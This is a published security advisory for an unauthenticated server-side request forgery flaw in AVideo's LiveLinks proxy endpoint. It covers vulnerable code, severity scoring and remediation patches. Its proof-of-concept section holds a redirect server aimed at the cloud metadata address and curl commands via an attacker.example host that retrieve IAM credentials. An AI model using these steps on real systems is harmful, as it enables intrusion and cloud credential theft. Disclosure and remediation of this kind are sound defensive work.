Unauthenticated SSRF via HTTP redirect bypass in LiveLinks proxy

High **DanielnetoDotCom** published **GHSA-9x67-f2v7-63rw** on Mar 16

Package

Avideo (npm)

Affected versions	Patched versions
< 24.0	>= 24.0

Description

Summary

The `plugin/LiveLinks/proxy.php` endpoint validates user-supplied URLs against internal/private networks using `isSSRFSafeURL()`, but only checks the initial URL. When the initial URL responds with an HTTP redirect (`Location` header), the redirect target is fetched via `fakeBrowser()` without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect.

Severity

High (CVSS 3.1: 8.6)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`

- **Attack Vector:** Network — endpoint is directly accessible over HTTP with no authentication
- **Attack Complexity:** Low — attacker only needs to control a URL that returns a 302 redirect
- **Privileges Required:** None — the endpoint explicitly disables database connection and session (`$doNotConnectDatabaseIncludeConfig = 1`, `$doNotStartSessionbaseIncludeConfig = 1`)
- **User Interaction:** None
- **Scope:** Changed — the attack escapes the web application boundary to reach internal infrastructure (cloud metadata, internal services)

- **Confidentiality Impact:** High — full content of internal endpoints is returned to the attacker, including cloud IAM credentials from metadata services
- **Integrity Impact:** None — `fakeBrowser()` performs GET-only requests via cURL
- **Availability Impact:** None

Affected Component

- `plugin/LiveLinks/proxy.php` — lines 38-42 (redirect handling without SSRF re-validation)
- `objects/functionsBrowser.php` — `fakeBrowser()` (line 123, raw cURL fetch with no SSRF protections)

CWE

- **CWE-918**: Server-Side Request Forgery (SSRF)

Description

Missing SSRF re-validation after HTTP redirect

The `proxy.php` endpoint validates the user-supplied `livelink` parameter against internal networks on line 18, using the comprehensive `isSSRFSafeURL()` function (which blocks private IPs, loopback, link-local/metadata, cloud metadata hostnames, and resolves DNS to detect rebinding). However, after calling `get_headers()` on line 38 — which follows HTTP redirects — the code extracts the `Location` header and passes it directly to `fakeBrowser()` without re-applying the SSRF check:

```
// plugin/LiveLinks/proxy.php — lines 17-42

// SSRF Protection: Block requests to internal/private networks
if (!isSSRFSafeURL($_GET['livelink'])) {                    // line 18: only checks init
    _error_log("LiveLinks proxy: SSRF protection blocked URL: " . $_GET['livelink']);
    echo "Access denied: URL targets restricted network";
    exit;
}

// ... stream context setup ...

$headers = get_headers($_GET['livelink'], 1, $context);      // line 38: follows redirec
if (!empty($headers["Location"])) {
    $_GET['livelink'] = $headers["Location"];                // line 40: attacker-contr
    $urlinfo = parse_url($_GET['livelink']);
    $content = fakeBrowser($_GET['livelink']);                // line 42: fetches inter
    $_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}
```

No SSRF protections in fakeBrowser()

The `fakeBrowser()` function in `objects/functionsBrowser.php` performs a raw cURL GET with no URL validation:

```
// objects/functionsBrowser.php — lines 123-141
function fakeBrowser($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 ...');
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}
```

No IP validation, no scheme restriction, no redirect control — any URL passed to this function is fetched unconditionally.

Endpoint is fully unauthenticated

The file begins by explicitly opting out of database and session initialization:

```
$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;
require_once '../../videos/configuration.php';
```

There is no `.htaccess` rule restricting access to `proxy.php`, and the root `.htaccess` confirms the plugin directory is routable (line 248: `RewriteRule ^plugin/([^...]+)/(.*)?$ plugin/$1/$2`).

Inconsistent defense pattern

The codebase demonstrates awareness of SSRF risks — `isSSRFSafeURL()` is used in 5 other locations (`aVideoEncoder.json.php:303`, `aVideoEncoderReceiveImage.json.php:67,107,135,160`, `AI/receiveAsync.json.php:177`). However, none of these callers deal with HTTP redirects. The `proxy.php` endpoint is the only one that follows redirects, and it is the only one that fails to re-validate after following them.

Double SSRF exposure

There are actually two SSRF requests in the redirect path:

1. `get_headers()` (line 38) follows the redirect to the internal IP to fetch response headers
2. `fakeBrowser()` (line 42) fetches the full response body from the internal IP

The second is more impactful as it returns the full content to the attacker.

Proof of Concept

Step 1: Set up an attacker-controlled server that returns a 302 redirect to an internal target:

```
# redirect_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()
```

Step 2: Send the request to the target AVideo instance:

```
curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.examp
```

Expected result: The response will contain the cloud metadata listing (e.g., `ami-id`, `instance-id`, `iam/`) prefixed with `http://169.254.169.254:` on each line. The attacker strips the prefix to recover the original metadata content.

Step 3: Escalate to IAM credential theft:

```
# Redirect to: http://169.254.169.254/latest/meta-data/iam/security-credentials/<r
curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.examp
```

This returns temporary AWS credentials (`AccessKeyId`, `SecretAccessKey`, `Token`) that can be used to access cloud resources.

Impact

- **Cloud metadata exposure:** Attacker can read instance metadata on AWS (169.254.169.254), GCP (metadata.google.internal), and Azure (169.254.169.254) cloud deployments, including IAM role credentials
- **Internal network scanning:** Attacker can probe RFC1918 addresses (10.x, 172.16-31.x, 192.168.x) and localhost services to map internal infrastructure
- **Internal service data exfiltration:** Any HTTP GET-accessible internal service (databases with HTTP interfaces, admin panels, monitoring dashboards) can have its content read and returned to the attacker
- **No authentication required:** The attack is fully unauthenticated, requiring only network access to the AVideo instance

Recommended Remediation

Option 1: Re-validate the redirect target with isSSRFSafeURL() (preferred)

Apply the same SSRF check to the redirect URL before fetching it:

```
$headers = get_headers($_GET['livelink'], 1, $context);
if (!empty($headers["Location"])) {
    $_GET['livelink'] = $headers["Location"];

    // Re-validate redirect target against SSRF
    if (!isSSRFSafeURL($_GET['livelink'])) {
        _error_log("LiveLinks proxy: SSRF protection blocked redirect URL: " . $_GET['li
        echo "Access denied: Redirect URL targets restricted network";
        exit;
    }

    $urlinfo = parse_url($_GET['livelink']);
    $content = fakeBrowser($_GET['livelink']);
    $_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}
```

Option 2: Disable redirect following in get_headers()

Prevent `get_headers()` from following redirects entirely by adding `follow_location` to the stream context:

```
$options = array(
    'http' => array(
        'user_agent' => '...',
        'method' => 'GET',
        'header' => array("Referer: localhost\r\nAccept-language: en\r\nCookie: foo=bar\
        'follow_location' => 0,  // Do not follow redirects
        'max_redirects' => 0,
    )
);
```

Then validate the `Location` header with `isSSRFSafeURL()` before following it manually. This approach prevents the `get_headers()` call itself from performing SSRF via the redirect.

Note: Option 1 is simpler but still allows `get_headers()` to make an initial request to the redirect target (header-only SSRF). Option 2 eliminates both SSRF vectors. Both options should be combined for defense-in-depth.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Severity

High 8.6 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	None
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CVE ID

CVE-2026-33039

Weaknesses

No CWEs

Credits

bugbunny-research Reporter